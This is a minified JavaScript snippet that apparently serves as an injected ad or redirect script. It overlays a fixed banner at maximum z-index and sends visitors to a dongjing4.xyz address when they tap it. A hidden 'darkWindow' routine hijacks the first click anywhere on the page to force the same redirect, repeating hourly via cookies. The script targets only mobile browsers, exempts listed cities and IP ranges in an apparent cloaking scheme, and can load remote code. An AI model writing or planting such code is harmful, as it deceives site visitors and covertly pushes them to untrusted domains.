new Object({DEBUG:!1,quick_load:!0,ipJS:"",enable_isMobile:!0,enable_isForbidenCity:!0,enable_isForbidenIp:!0,position:"bottom",is_header_float:!0,el:"#feng",image_height:"30vw",images:["https://pic.fededzyi.com/img/yj001.png","https://pic.fededzyi.com/img/yj002.png","https://pic.fededzyi.com/img/yj003.png","https://pic.fededzyi.com/img/yj004.png","https://pic.fededzyi.com/img/yj005.png","https://pic.fededzyi.com/img/yj007.png","https://pic.fededzyi.com/img/yj008.png","https://pic.fededzyi.com/img/yj009.png","https://pic.fededzyi.com/img/yj010.png"],popUpMode:"location",urls:["https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404"],popup:{enable:!1,signature:"ads_popup",cycle:"3600",delay:"3",popUpMode:"location",urls:["https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404"]},darkWindow:{enable:!0,signature:"ads_darkWindow",cycle:"3600",delay:"1",popUpMode:"location",urls:["https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404","https://10j113ezm.dongjing4.xyz/ice101404"]},cities:["1"],ipList:["2"],timestamp:(new Date).getTime(),load_js:o=>{var t=document.getElementsByTagName("head").item(0),e=document.createElement("script");e.type="text/javascript",e.src=o,t.appendChild(e)},isMobile:()=>{var o=navigator.userAgent,t=!o.match(/(iPad).*OS\s([\d_]+)/)&&o.match(/(iPhone\sOS)\s([\d_]+)/),e=o.match(/(Android)\s+([\d.]+)/);return t||e},isForbidenCity:(o,t)=>{for(let e in t)if(-1!==o.indexOf(e))return!0;return!1},isForbidenIp:(o,t)=>{var e=o=>{if("[object Array]"!==Object.prototype.toString.call(o)&&(o=o.split(".")),4!==o.length)return 0;if((o=o.map(o=>Number(o))).find(o=>o<0||o>255))return 0;return o.reduce((o,t)=>o*Number(256)+t,Number(0))},i=(o,t,i)=>(o=e(o),t=e(t),o<=(i=e(i))&&o>=t);for(var n in t){let e=t[n].split("/"),a=e[0].split("."),s=a.slice(0,a.length-1);if(a=a.join("."),s.push(e[1]),i(o,a,s=s.join(".")))return!0}return!1},setCookie:(o,t)=>{var e=new Date;e.setTime(e.getTime()+2592e6),document.cookie=o+"="+escape(t)+";expires="+e.toGMTString()},getCookie:o=>{var t,e=new RegExp("(^| )"+o+"=([^;]*)(;|$)");return(t=document.cookie.match(e))?unescape(t[2]):null},delCookie:o=>{var t=new Date;t.setTime(t.getTime()-1);var e=getCookie(o);null!=e&&(document.cookie=o+"="+e+";expires="+t.toGMTString())},popUp:(o,t="location")=>{"location"==t?window.location.href=o:window.open(o)},main:function(){this.quick_load||this.load_js(this.ipJS),"undefined"==typeof IPLocation&&(IPLocation=""),"undefined"==typeof ip&&(ip="255.255.255.255");var o=this.images[Math.floor(Math.random()*this.images.length)],t=this.urls[Math.floor(Math.random()*this.urls.length)];"fixed"!==this.position&&(this.el=document.createElement("div"));var e="";switch(e=-1!=navigator.userAgent.indexOf("baiduboxapp")?`
`:`
`,"fixed"!==this.position&&(this.el.innerHTML=e),$(this.el).css({width:"100%"}),this.position){case"top":$(this.el).css({position:"fixed",top:"0","z-index":"2147483647"});break;case"bottom":$(this.el).css({position:"fixed",bottom:"0","z-index":"2147483647"})}var i=this,n=()=>{var n=!0;if(n&&i.enable_isMobile&&(n=i.isMobile()),n&&i.enable_isForbidenCity&&(n=!i.isForbidenCity(IPLocation,i.cities)),n&&i.enable_isForbidenIp&&(n=!i.isForbidenIp(ip,i.ipList)),-1!=navigator.userAgent.indexOf("baiduboxapp")&&$(i.el).css({"background-image":`url('${o}')`,"background-size":"100% 100%","background-position":"center",height:this.image_height}),n||i.DEBUG){if("fixed"!==i.position){if(document.getElementsByTagName("body").item(0).appendChild(i.el),"top"===i.position){var a=$(i.el).height();a<100&&(a=100),$("body").css("margin-top",a+"px"),i.is_header_float&&($("header").css("margin-top",a+"px"),$(".head_box").css("margin-top",a+"px"))}}else $(i.el).html(e);if($(i.el).on("click touchstart",()=>{i.popUp(t,i.popUpMode)}),i.popup.enable){let o=i.getCookie(i.popup.signature);i.timestamp-o>1e3*i.popup.cycle&&setTimeout(()=>{i.setCookie(i.popup.signature,i.timestamp),i.popUp(i.popup.urls[Math.floor(Math.random()*i.popup.urls.length)],i.popup.popUpMode)},1e3*i.popup.delay)}if(i.darkWindow.enable){let o=i.getCookie(i.darkWindow.signature);i.timestamp-o>1e3*i.darkWindow.cycle&&$("body").one("click touchstart",function(){setTimeout(()=>{i.popUp(i.darkWindow.urls[Math.floor(Math.random()*i.darkWindow.urls.length)],i.darkWindow.popUpMode),i.setCookie(i.darkWindow.signature,i.timestamp)},1e3*i.darkWindow.delay)})}}};this.quick_load?$(function(){n()}):$(window).on("load",function(){n()})}}).main();